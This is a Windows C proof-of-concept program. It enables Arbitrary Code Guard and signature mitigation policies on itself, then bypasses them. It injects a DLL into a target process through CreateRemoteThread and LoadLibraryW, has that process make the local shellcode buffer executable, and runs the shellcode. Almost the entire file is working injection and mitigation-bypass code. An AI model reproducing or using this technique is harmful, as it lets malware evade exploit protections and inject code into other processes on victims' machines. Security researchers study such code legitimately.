#include <Windows.h>
#include <stdio.h>
#include <stdint.h>

#include "Shellcode.h"

BOOL ReflectiveAlloc(uint32_t dwPid);

int32_t wmain(int32_t nArgc, const wchar_t* pArgv[]) {
	PROCESS_MITIGATION_DYNAMIC_CODE_POLICY AcgPolicy = { 0 };
	PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY CigPolicy = { 0 };
	PROCESS_MITIGATION_IMAGE_LOAD_POLICY ImageLoadPolicy = { 0 };
	
	AcgPolicy.ProhibitDynamicCode = 1;
	CigPolicy.MicrosoftSignedOnly = 1;
	ImageLoadPolicy.NoLowMandatoryLabelImages = 1;
	ImageLoadPolicy.NoRemoteImages = 1;

	printf("... current PID: %d\r\n", GetCurrentProcessId());

	if (SetProcessMitigationPolicy(ProcessDynamicCodePolicy, &AcgPolicy, sizeof(AcgPolicy))) {
		printf("... successfully set ACG mitigation policy\r\n");

		if (SetProcessMitigationPolicy(ProcessSignaturePolicy, &CigPolicy, sizeof(CigPolicy))) {
			printf("... successfully set CIG mitigation policy\r\n");
		}
		if (SetProcessMitigationPolicy(ProcessImageLoadPolicy, &ImageLoadPolicy, sizeof(ImageLoadPolicy))) {
			printf("... successfully set image load mitigation policy\r\n");
			ReflectiveAlloc(_wtoi(pArgv[1]));
		}
	}

	system("pause");
	return 0;
}

#define IPC_BLOCK_NAME L"ACG_CIG_IPC_BLOCK"
#define IPC_EVENT_NAME L"ACG_CIG_IPC_EVENT"

typedef struct _IPC_BLOCK {
	void* Address;
	uint32_t PID;
	uint32_t RegionSize;
} IPC_BLOCK;

typedef void(__stdcall* fnDynamic)();

BOOL ReflectiveAlloc(uint32_t dwPid) {
	HANDLE hRemoteProcess = NULL;
	uint8_t* pShellcodeBuf;

	// Allocate private +RW and fill it with shellcode. This is the region that the remote process will be coerced into making +RWX

	pShellcodeBuf = VirtualAlloc(NULL, sizeof(Shellcode) - 1, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	memcpy(pShellcodeBuf, Shellcode, sizeof(Shellcode) - 1);

	printf("... allocated +RW region in local process for shellcode at 0x%p\r\n", pShellcodeBuf);

	// Open handle to a remote process

	hRemoteProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_VM_WRITE | PROCESS_VM_OPERATION, TRUE, dwPid);

	if (hRemoteProcess != NULL) {
		printf("... successfully opened handle to PID %d\r\n", dwPid);

		// Generate IPC block

		HANDLE hIPCMapping = CreateFileMappingW(-1, NULL, PAGE_READWRITE, 0, sizeof(IPC_BLOCK), IPC_BLOCK_NAME);

		if (hIPCMapping != NULL) {
			uint8_t* pIPCBuf = MapViewOfFile(hIPCMapping, FILE_MAP_READ | FILE_MAP_WRITE, 0, 0, sizeof(IPC_BLOCK));

			if (pIPCBuf != NULL) {
				IPC_BLOCK* pIPCBlock = pIPCBuf;
				wchar_t DLLPath[MAX_PATH + 1] = { 0 };
				uint8_t* pRemoteDLLPath;
				HANDLE hEvent;

				printf("... successfully created shared memory block for IPC and mapped it to 0x%p\r\n", pIPCBuf);

				pIPCBlock->PID = GetCurrentProcessId();
				pIPCBlock->Address = pShellcodeBuf;
				pIPCBlock->RegionSize = sizeof(Shellcode) - 1;
				hEvent = CreateEventW(NULL, TRUE, FALSE, IPC_EVENT_NAME);

				// Write DLL path into memory space of remote process

				GetCurrentDirectoryW(MAX_PATH + 1, DLLPath);
				wcscat_s(DLLPath, MAX_PATH + 1, L"\\ReflectiveAllocInjectDLL.dll");

				pRemoteDLLPath = VirtualAllocEx(hRemoteProcess, NULL, (wcslen(DLLPath) + 1) * 2, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

				if (pRemoteDLLPath != NULL) {
					printf("... successfully allocated remote memory for DLL path of %ws\r\n", DLLPath);

					if (WriteProcessMemory(hRemoteProcess, pRemoteDLLPath, DLLPath, (wcslen(DLLPath) + 1) * 2, NULL)) {
						HMODULE hModule = GetModuleHandleA("kernel32.dll");
						void* pLoadLibrary = GetProcAddress(hModule, "LoadLibraryW");

						// Coerce remote process into loading DLL

						printf("... successfully wrote DLL path to 0x%p in remote process\r\n", pRemoteDLLPath);

						if ((CreateRemoteThread(hRemoteProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pLoadLibrary, pRemoteDLLPath, 0, NULL)) != NULL) {
							printf("... successfully launched remote thread at 0x%p\r\n", pLoadLibrary);
							WaitForSingleObject(hEvent, INFINITE);
							printf("... received signal event! Executing shellcode at 0x%p\r\n", pShellcodeBuf);
							((fnDynamic)pShellcodeBuf)();
						}
					}
				}
			}
		}
	}
	else {
		printf("... failed to open handle to PID %d (error 0x%08x)\r\n", dwPid, GetLastError());
	}
}